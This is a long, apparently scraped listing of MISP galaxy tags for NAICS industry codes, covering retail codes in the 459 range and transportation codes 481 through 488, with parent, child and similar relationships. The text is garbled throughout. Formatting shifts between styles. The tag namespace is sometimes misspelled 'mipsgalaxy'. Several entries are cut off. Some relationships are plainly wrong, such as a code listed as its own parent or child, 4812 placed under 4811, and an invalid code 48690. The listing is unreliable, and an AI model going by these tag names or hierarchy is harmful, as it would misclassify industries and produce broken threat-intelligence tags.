• similar: misp-galaxy:naics="45913" with estimative-language:likelihood-probability="likely"

45914

Musical Instrument and Supplies Retailers

The tag is: misp-galaxy:naics="45914"
45914 has relationships with:

- child-of: `misp-galaxy:naics="4591"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="459140"` with `estimative-language:likelihood-probability="likely"

### 459140

Musical Instrument and Supplies Retailers

The tag is: `misp-galaxy:naics="459140"

459140 has relationships with:

- child-of: `misp-galaxy:naics="4591"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="45914"` with `estimative-language:likelihood-probability="likely"

### 4592

Book Retailers and News Dealers

The tag is: `misp-galaxy:naics="4592"

4592 has relationships with:

- child-of: `misp-galaxy:naics="459"` with `estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="45921"` with `estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="459210"` with `estimative-language:likelihood-probability="likely"

### 45921

Book Retailers and News Dealers

The tag is: `misp-galaxy:naics="45921"

45921 has relationships with:

- child-of: `misp-galaxy:naics="4592"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="459210"` with `estimative-language:likelihood-probability="likely"
459210
Book Retailers and News Dealers
The tag is: misp-galaxy:naics="459210"
View relationships graph
459210 has relationships with:
  • child-of: misp-galaxy:naics="4592" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="45921" with estimative-language:likelihood-probability="likely"

4593
Florists
The tag is: misp-galaxy:naics="4593"
View relationships graph
4593 has relationships with:
  • child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="45931" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="459310" with estimative-language:likelihood-probability="likely"

45931
Florists
The tag is: misp-galaxy:naics="45931"
View relationships graph
45931 has relationships with:
  • child-of: misp-galaxy:naics="4593" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="459310" with estimative-language:likelihood-probability="likely"

459310
Florists
The tag is: misp-galaxy:naics="459310"
View relationships graph
459310 has relationships with:

- child-of: misp-galaxy:naics="4593" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45931" with estimative-language:likelihood-probability="likely"

**4594**

Office Supplies, Stationery, and Gift Retailers

The tag is: *misp-galaxy:naics="4594"

View relationships graph

4594 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45941" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45942" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459420" with estimative-language:likelihood-probability="likely"

**45941**

Office Supplies and Stationery Retailers

The tag is: *misp-galaxy:naics="45941"

View relationships graph

45941 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459410" with estimative-language:likelihood-probability="likely"

**459410**

Office Supplies and Stationery Retailers

The tag is: *misp-galaxy:naics="459410"

View relationships graph

459410 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45941" with estimative-language:likelihood-probability="likely"
45942

Gift, Novelty, and Souvenir Retailers

The tag is: misp-galaxy:naics="45942"

View relationships graph

45942 has relationships with:

• child-of: misp-galaxy:naics="4594" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="459420" with estimative-language:likelihood-probability="likely"

459420

Gift, Novelty, and Souvenir Retailers

The tag is: misp-galaxy:naics="459420"

View relationships graph

459420 has relationships with:

• child-of: misp-galaxy:naics="4594" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="45942" with estimative-language:likelihood-probability="likely"

4595

Used Merchandise Retailers

The tag is: misp-galaxy:naics="4595"

View relationships graph

4595 has relationships with:

• child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="45951" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="459510" with estimative-language:likelihood-probability="likely"

45951

Used Merchandise Retailers

The tag is: misp-galaxy:naics="45951"

View relationships graph
45951 has relationships with:

- child-of: misp-galaxy:naics="4595" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459510" with estimative-language:likelihood-probability="likely"

**459510**

Used Merchandise Retailers

The tag is: misp-galaxy:naics="459510"

View relationships graph

459510 has relationships with:

- child-of: misp-galaxy:naics="4595" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="45951" with estimative-language:likelihood-probability="likely"

**4599**

Other Miscellaneous Retailers

The tag is: misp-galaxy:naics="4599"

View relationships graph

4599 has relationships with:

- child-of: misp-galaxy:naics="459" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45993" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="45999" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="459999" with estimative-language:likelihood-probability="likely"

**45991**

Pet and Pet Supplies Retailers

The tag is: misp-galaxy:naics="45991"
45991 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459910" with estimative-language:likelihood-probability="likely"

459910
Pet and Pet Supplies Retailers
The tag is: misp-galaxy:naics="459910"

45992 has relationships with:

- child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="459920" with estimative-language:likelihood-probability="likely"

459920
Art Dealers
The tag is: misp-galaxy:naics="459920"
45993
Manufactured (Mobile) Home Dealers
The tag is: `misp-galaxy:naics="45993"`
View relationships graph

45993 has relationships with:

- child-of: `misp-galaxy:naics="4599"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="459930"` with estimative-language:likelihood-probability="likely"

459930
Manufactured (Mobile) Home Dealers
The tag is: `misp-galaxy:naics="459930"`
View relationships graph

459930 has relationships with:

- child-of: `misp-galaxy:naics="4599"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="45993"` with estimative-language:likelihood-probability="likely"

45999
All Other Miscellaneous Retailers
The tag is: `misp-galaxy:naics="45999"`
View relationships graph

45999 has relationships with:

- child-of: `misp-galaxy:naics="4599"` with estimative-language:likelihood-probability="likely"

459991
Tobacco, Electronic Cigarette, and Other Smoking Supplies Retailers
The tag is: `misp-galaxy:naics="459991"`
View relationships graph

459991 has relationships with:

- child-of: `misp-galaxy:naics="4599"` with estimative-language:likelihood-probability="likely"
459999
All Other Miscellaneous Retailers
The tag is: misp-galaxy:naics="459999"

View relationships graph

459999 has relationships with:

• child-of: misp-galaxy:naics="4599" with estimative-language:likelihood-probability="likely"

48-49
Transportation and Warehousing
The tag is: misp-galaxy:naics="48-49"

481
Air Transportation
The tag is: misp-galaxy:naics="481"

View relationships graph

481 has relationships with:

• parent-of: misp-galaxy:naics="4811" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="4812" with estimative-language:likelihood-probability="likely"

4811
Scheduled Air Transportation
The tag is: misp-galaxy:naics="4811"

View relationships graph

4811 has relationships with:

• child-of: misp-galaxy:naics="481" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="48111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="481111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="481112" with estimative-language:likelihood-probability="likely"
48111
Scheduled Air Transportation
The tag is: misp-galaxy:naics="48111"
View relationships graph
48111 has relationships with:
  • child-of: misp-galaxy:naics="4811" with estimative-language:likelihood-probability="likely"

481111
Scheduled Passenger Air Transportation
The tag is: misp-galaxy:naics="481111"
View relationships graph
481111 has relationships with:
  • child-of: misp-galaxy:naics="4811" with estimative-language:likelihood-probability="likely"

481112
Scheduled Freight Air Transportation
The tag is: misp-galaxy:naics="481112"
View relationships graph
481112 has relationships with:
  • child-of: misp-galaxy:naics="4811" with estimative-language:likelihood-probability="likely"

4812
Nonscheduled Air Transportation
The tag is: misp-galaxy:naics="4812"
View relationships graph
4812 has relationships with:
  • child-of: misp-galaxy:naics="4811" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="48121" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="481211" with estimative-language:likelihood-probability="likely"
48121
Nonscheduled Air Transportation
The tag is: \textit{misp-galaxy:naics="48121"}
View relationships graph

48121 has relationships with:

- child-of: \textit{misp-galaxy:naics="4812"}

481211
Nonscheduled Chartered Passenger Air Transportation
The tag is: \textit{misp-galaxy:naics="481211"}
View relationships graph

481211 has relationships with:

- child-of: \textit{misp-galaxy:naics="4812"}

481212
Nonscheduled Chartered Freight Air Transportation
The tag is: \textit{misp-galaxy:naics="481212"}
View relationships graph

481212 has relationships with:

- child-of: \textit{misp-galaxy:naics="4812"}

481219
Other Nonscheduled Air Transportation
The tag is: \textit{misp-galaxy:naics="481219"}
View relationships graph

481219 has relationships with:

- child-of: \textit{misp-galaxy:naics="4812"}
482
Rail Transportation
The tag is: `misp-galaxy:naics="482"`
View relationships graph

482 has relationships with:

- parent-of: `misp-galaxy:naics="4821"` with estimative-language:likelihood-probability="likely"

4821
Rail Transportation
The tag is: `misp-galaxy:naics="4821"`
View relationships graph

4821 has relationships with:

- child-of: `misp-galaxy:naics="482"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="48211"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="482111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="482112"` with estimative-language:likelihood-probability="likely"

48211
Rail Transportation
The tag is: `misp-galaxy:naics="48211"`
View relationships graph

48211 has relationships with:

- child-of: `misp-galaxy:naics="4821"` with estimative-language:likelihood-probability="likely"

482111
Line-Haul Railroads
The tag is: `misp-galaxy:naics="482111"`
View relationships graph

482111 has relationships with:
482112

Short Line Railroads

The tag is: `misp-galaxy:naics="482112"`

View relationships graph

482112 has relationships with:

- child-of: `misp-galaxy:naics="4821"` with estimative-language:likelihood-probability="likely"

483

Water Transportation

The tag is: `misp-galaxy:naics="483"`

View relationships graph

483 has relationships with:

- parent-of: `misp-galaxy:naics="4831"` with estimative-language:likelihood-probability="likely"

4831

Deep Sea, Coastal, and Great Lakes Water Transportation

The tag is: `misp-galaxy:naics="4831"`

View relationships graph

4831 has relationships with:

- child-of: `misp-galaxy:naics="483"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="48311"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="483111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="483112"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="483114"` with estimative-language:likelihood-probability="likely"

48311

Deep Sea, Coastal, and Great Lakes Water Transportation
The tag is: misp-galaxy:naics="48311"

View relationships graph

48311 has relationships with:

• child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

483111
Deep Sea Freight Transportation

The tag is: misp-galaxy:naics="483111"

View relationships graph

483111 has relationships with:

• child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

483112
Deep Sea Passenger Transportation

The tag is: misp-galaxy:naics="483112"

View relationships graph

483112 has relationships with:

• child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

483113
Coastal and Great Lakes Freight Transportation

The tag is: misp-galaxy:naics="483113"

View relationships graph

483113 has relationships with:

• child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

483114
Coastal and Great Lakes Passenger Transportation

The tag is: misp-galaxy:naics="483114"
View relationships graph

483114 has relationships with:

• child-of: misp-galaxy:naics="4831" with estimative-language:likelihood-probability="likely"

4832

Inland Water Transportation

The tag is: misp-galaxy:naics="4832"

View relationships graph

4832 has relationships with:

• child-of: misp-galaxy:naics="483" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="48321" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="483211" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="483212" with estimative-language:likelihood-probability="likely"

48321

Inland Water Transportation

The tag is: misp-galaxy:naics="48321"

View relationships graph

48321 has relationships with:

• child-of: misp-galaxy:naics="4832" with estimative-language:likelihood-probability="likely"

483211

Inland Water Freight Transportation

The tag is: misp-galaxy:naics="483211"

View relationships graph

483211 has relationships with:

• child-of: misp-galaxy:naics="4832" with estimative-language:likelihood-probability="likely"

483212

Inland Water Passenger Transportation
The tag is: misp-galaxy:naics="483212"

View relationships graph

483212 has relationships with:

- child-of: misp-galaxy:naics="4832" with estimative-language:likelihood-probability="likely"

484

Truck Transportation

The tag is: misp-galaxy:naics="484"

View relationships graph

484 has relationships with:

- parent-of: misp-galaxy:naics="4841" with estimative-language:likelihood-probability="likely"

4841

General Freight Trucking

The tag is: misp-galaxy:naics="4841"

View relationships graph

4841 has relationships with:

- child-of: misp-galaxy:naics="484" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="484110" with estimative-language:likelihood-probability="likely"

48411

General Freight Trucking, Local

The tag is: misp-galaxy:naics="48411"

View relationships graph

48411 has relationships with:
484110
General Freight Trucking, Local
The tag is: `misp-galaxy:naics="484110"`
View relationships graph
484110 has relationships with:
  • child-of: `misp-galaxy:naics="4841"` with estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:naics="48411"` with estimative-language:likelihood-probability="likely"

48412
General Freight Trucking, Long-Distance
The tag is: `misp-galaxy:naics="48412"`
View relationships graph
48412 has relationships with:
  • child-of: `misp-galaxy:naics="4841"` with estimative-language:likelihood-probability="likely"

484121
General Freight Trucking, Long-Distance, Truckload
The tag is: `misp-galaxy:naics="484121"`
View relationships graph
484121 has relationships with:
  • child-of: `misp-galaxy:naics="4841"` with estimative-language:likelihood-probability="likely"

484122
General Freight Trucking, Long-Distance, Less Than Truckload
The tag is: `misp-galaxy:naics="484122"`
View relationships graph
484122 has relationships with:
4842
Specialized Freight Trucking

The tag is: `misp-galaxy:naics="4842"`

View relationships graph

4842 has relationships with:

- child-of: `misp-galaxy:naics="484"`
- parent-of: `misp-galaxy:naics="48421"`
- parent-of: `misp-galaxy:naics="484210"`
- parent-of: `misp-galaxy:naics="48422"`
- parent-of: `misp-galaxy:naics="484220"`
- parent-of: `misp-galaxy:naics="48423"`
- parent-of: `misp-galaxy:naics="484230"`

48421
Used Household and Office Goods Moving

The tag is: `misp-galaxy:naics="48421"`

View relationships graph

48421 has relationships with:

- child-of: `misp-galaxy:naics="484"`
- similar: `misp-galaxy:naics="484210"`

484210
Used Household and Office Goods Moving

The tag is: `misp-galaxy:naics="484210"`

View relationships graph

484210 has relationships with:

- child-of: `misp-galaxy:naics="484"`
- similar: `misp-galaxy:naics="48421"`
48422
Specialized Freight (except Used Goods) Trucking, Local
The tag is: mipsgalaxy:naics="48422"
View relationships graph
48422 has relationships with:
• child-of: mipsgalaxy:naics="4842" with estimative-language:likelihood-probability="likely"
• similar: mipsgalaxy:naics="484220" with estimative-language:likelihood-probability="likely"

484220
Specialized Freight (except Used Goods) Trucking, Local
The tag is: mipsgalaxy:naics="484220"
View relationships graph
484220 has relationships with:
• child-of: mipsgalaxy:naics="4842" with estimative-language:likelihood-probability="likely"
• similar: mipsgalaxy:naics="48422" with estimative-language:likelihood-probability="likely"

48423
Specialized Freight (except Used Goods) Trucking, Long-Distance
The tag is: mipsgalaxy:naics="48423"
View relationships graph
48423 has relationships with:
• child-of: mipsgalaxy:naics="4842" with estimative-language:likelihood-probability="likely"
• similar: mipsgalaxy:naics="484230" with estimative-language:likelihood-probability="likely"

484230
Specialized Freight (except Used Goods) Trucking, Long-Distance
The tag is: mipsgalaxy:naics="484230"
View relationships graph
484230 has relationships with:
Transit and Ground Passenger Transportation

The tag is: *misp-galaxy:naics*="485"

View relationships graph

485 has relationships with:

- parent-of: *misp-galaxy:naics*="4851" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="4852" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="4853" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="4854" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="4855" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="4859" with estimative-language:likelihood-probability="likely"

4851

Urban Transit Systems

The tag is: *misp-galaxy:naics*="4851"

View relationships graph

4851 has relationships with:

- child-of: *misp-galaxy:naics*="485" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="48511" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="485111" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="485112" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="485113" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics*="485119" with estimative-language:likelihood-probability="likely"

48511

Urban Transit Systems

The tag is: *misp-galaxy:naics*="48511"

View relationships graph
48511 has relationships with:

- child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

485111

Mixed Mode Transit Systems

The tag is: misp-galaxy:naics="485111"

View relationships graph

485111 has relationships with:

- child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

485112

Commuter Rail Systems

The tag is: misp-galaxy:naics="485112"

View relationships graph

485112 has relationships with:

- child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

485113

Bus and Other Motor Vehicle Transit Systems

The tag is: misp-galaxy:naics="485113"

View relationships graph

485113 has relationships with:

- child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

485119

Other Urban Transit Systems

The tag is: misp-galaxy:naics="485119"

View relationships graph

485119 has relationships with:
• child-of: misp-galaxy:naics="4851" with estimative-language:likelihood-probability="likely"

4852
Interurban and Rural Bus Transportation

The tag is: misp-galaxy:naics="4852"

View relationships graph

4852 has relationships with:

• child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="48521" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="485210" with estimative-language:likelihood-probability="likely"

48521
Interurban and Rural Bus Transportation

The tag is: misp-galaxy:naics="48521"

View relationships graph

48521 has relationships with:

• child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="485210" with estimative-language:likelihood-probability="likely"

485210
Interurban and Rural Bus Transportation

The tag is: misp-galaxy:naics="485210"

View relationships graph

485210 has relationships with:

• child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="48521" with estimative-language:likelihood-probability="likely"

4853
Taxi and Limousine Service

The tag is: misp-galaxy:naics="4853"
4853 has relationships with:

- child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48532" with estimative-language:likelihood-probability="likely"

48531

Taxi and Ridesharing Services

The tag is: misp-galaxy:naics="48531"

48531 has relationships with:

- child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="485310" with estimative-language:likelihood-probability="likely"

485310

Taxi and Ridesharing Services

The tag is: misp-galaxy:naics="485310"

48532

Limousine Service

The tag is: misp-galaxy:naics="48532"
485320
Limousine Service
The tag is: `misp-galaxy:naics="485320"`
View relationships graph
485320 has relationships with:
  • child-of: `misp-galaxy:naics="4853"` with estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:naics="48532"` with estimative-language:likelihood-probability="likely"

4854
School and Employee Bus Transportation
The tag is: `misp-galaxy:naics="4854"`
View relationships graph
4854 has relationships with:
  • child-of: `misp-galaxy:naics="485"` with estimative-language:likelihood-probability="likely"
  • parent-of: `misp-galaxy:naics="48541"` with estimative-language:likelihood-probability="likely"
  • parent-of: `misp-galaxy:naics="485410"` with estimative-language:likelihood-probability="likely"

48541
School and Employee Bus Transportation
The tag is: `misp-galaxy:naics="48541"`
View relationships graph
48541 has relationships with:
  • child-of: `misp-galaxy:naics="4854"` with estimative-language:likelihood-probability="likely"
  • similar: `misp-galaxy:naics="485410"` with estimative-language:likelihood-probability="likely"

485410
School and Employee Bus Transportation
The tag is: `misp-galaxy:naics="485410"`
485410 has relationships with:
- child-of: misp-galaxy:naics="4854" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48541" with estimative-language:likelihood-probability="likely"

4855
Charter Bus Industry
The tag is: misp-galaxy:naics="4855"

48551
Charter Bus Industry
The tag is: misp-galaxy:naics="48551"

485510
Charter Bus Industry
The tag is: misp-galaxy:naics="485510"
4859
Other Transit and Ground Passenger Transportation
The tag is: misp-galaxy:naics="4859"
View relationships graph

4859 has relationships with:
- child-of: misp-galaxy:naics="485" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="485999" with estimative-language:likelihood-probability="likely"

48599
Other Transit and Ground Passenger Transportation
The tag is: misp-galaxy:naics="48599"
View relationships graph

48599 has relationships with:
- child-of: misp-galaxy:naics="4859" with estimative-language:likelihood-probability="likely"

485991
Special Needs Transportation
The tag is: misp-galaxy:naics="485991"
View relationships graph

485991 has relationships with:
- child-of: misp-galaxy:naics="4859" with estimative-language:likelihood-probability="likely"

485999
All Other Transit and Ground Passenger Transportation
The tag is: misp-galaxy:naics="485999"
View relationships graph

485999 has relationships with:
• child-of: misp-galaxy:naics="4859" with estimative-language:likelihood-probability="likely"

486

Pipeline Transportation

The tag is: misp-galaxy:naics="486"

View relationships graph

486 has relationships with:

• parent-of: misp-galaxy:naics="4861" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="4862" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="4869" with estimative-language:likelihood-probability="likely"

4861

Pipeline Transportation of Crude Oil

The tag is: misp-galaxy:naics="4861"

View relationships graph

4861 has relationships with:

• child-of: misp-galaxy:naics="486" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="48611" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="486110" with estimative-language:likelihood-probability="likely"

48611

Pipeline Transportation of Crude Oil

The tag is: misp-galaxy:naics="48611"

View relationships graph

48611 has relationships with:

• child-of: misp-galaxy:naics="4861" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="48611" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="486110" with estimative-language:likelihood-probability="likely"

486110

Pipeline Transportation of Crude Oil

The tag is: misp-galaxy:naics="486110"
View relationships graph

486110 has relationships with:

- child-of: misp-galaxy:naics="4861" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48611" with estimative-language:likelihood-probability="likely"

4862
Pipeline Transportation of Natural Gas
The tag is: misp-galaxy:naics="4862"
View relationships graph

4862 has relationships with:

- child-of: misp-galaxy:naics="486" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="486210" with estimative-language:likelihood-probability="likely"

48621
Pipeline Transportation of Natural Gas
The tag is: misp-galaxy:naics="48621"
View relationships graph

48621 has relationships with:

- child-of: misp-galaxy:naics="4862" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="486210" with estimative-language:likelihood-probability="likely"

486210
Pipeline Transportation of Natural Gas
The tag is: misp-galaxy:naics="486210"
View relationships graph

486210 has relationships with:

- child-of: misp-galaxy:naics="4862" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48621" with estimative-language:likelihood-probability="likely"
4869
Other Pipeline Transportation
The tag is: misp-galaxy:naics="4869"

View relationships graph

4869 has relationships with:
• child-of: misp-galaxy:naics="486" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="48691" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="486910" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="48699" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="486990" with estimative-language:likelihood-probability="likely"

48691
Pipeline Transportation of Refined Petroleum Products
The tag is: misp-galaxy:naics="48691"

View relationships graph

48691 has relationships with:
• child-of: misp-galaxy:naics="486" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="486910" with estimative-language:likelihood-probability="likely"

486910
Pipeline Transportation of Refined Petroleum Products
The tag is: misp-galaxy:naics="486910"

View relationships graph

486910 has relationships with:
• child-of: misp-galaxy:naics="486" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="48691" with estimative-language:likelihood-probability="likely"

48699
All Other Pipeline Transportation
The tag is: misp-galaxy:naics="48699"
48699 has relationships with:

- child-of: mipsgalaxy:naics="4869" with estimative-language:likelihood-probability="likely"
- similar: mipsgalaxy:naics="48690" with estimative-language:likelihood-probability="likely"

48690
All Other Pipeline Transportation
The tag is: mipsgalaxy:naics="48690"

487 has relationships with:

- parent-of: mipsgalaxy:naics="4871" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="4872" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="4879" with estimative-language:likelihood-probability="likely"

4871
Scenic and Sightseeing Transportation, Land
The tag is: mipsgalaxy:naics="4871"
48711
Scenic and Sightseeing Transportation, Land
The tag is: misp-galaxy:naics="48711"

View relationships graph

48711 has relationships with:
- child-of: misp-galaxy:naics="4871" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="487110" with estimative-language:likelihood-probability="likely"

487110
Scenic and Sightseeing Transportation, Land
The tag is: misp-galaxy:naics="487110"

View relationships graph

487110 has relationships with:
- child-of: misp-galaxy:naics="4871" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48711" with estimative-language:likelihood-probability="likely"

4872
Scenic and Sightseeing Transportation, Water
The tag is: misp-galaxy:naics="4872"

View relationships graph

4872 has relationships with:
- child-of: misp-galaxy:naics="487" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="487210" with estimative-language:likelihood-probability="likely"

48721
Scenic and Sightseeing Transportation, Water
The tag is: misp-galaxy:naics="48721"

View relationships graph
48721 has relationships with:

- child-of: `misp-galaxy:naics="4872"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="487210"` with `estimative-language:likelihood-probability="likely"

### 487210

Scenic and Sightseeing Transportation, Water

The tag is: `misp-galaxy:naics="487210"

View relationships graph

487210 has relationships with:

- child-of: `misp-galaxy:naics="4872"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="48721"` with `estimative-language:likelihood-probability="likely"

### 4879

Scenic and Sightseeing Transportation, Other

The tag is: `misp-galaxy:naics="4879"

View relationships graph

4879 has relationships with:

- child-of: `misp-galaxy:naics="4879"` with `estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="487990"` with `estimative-language:likelihood-probability="likely"

### 48799

Scenic and Sightseeing Transportation, Other

The tag is: `misp-galaxy:naics="48799"

View relationships graph

48799 has relationships with:

- child-of: `misp-galaxy:naics="4879"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="487990"` with `estimative-language:likelihood-probability="likely"
487990

Scenic and Sightseeing Transportation, Other

The tag is: *misp-galaxy:naics="487990"*

View relationships graph

487990 has relationships with:

- child-of: *misp-galaxy:naics="4879"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="48799"* with estimative-language:likelihood-probability="likely"

488

Support Activities for Transportation

The tag is: *misp-galaxy:naics="488"*

View relationships graph

488 has relationships with:

- parent-of: *misp-galaxy:naics="4881"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="4882"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="4883"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="4884"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="4885"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="4889"* with estimative-language:likelihood-probability="likely"

4881

Support Activities for Air Transportation

The tag is: *misp-galaxy:naics="4881"*

View relationships graph

4881 has relationships with:

- child-of: *misp-galaxy:naics="488"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="48811"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="488111"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="488119"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="48819"* with estimative-language:likelihood-probability="likely"
48811
Airport Operations
The tag is: misp-galaxy:naics="48811"
View relationships graph
48811 has relationships with:
{  
  • child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"
}

488111
Air Traffic Control
The tag is: misp-galaxy:naics="488111"
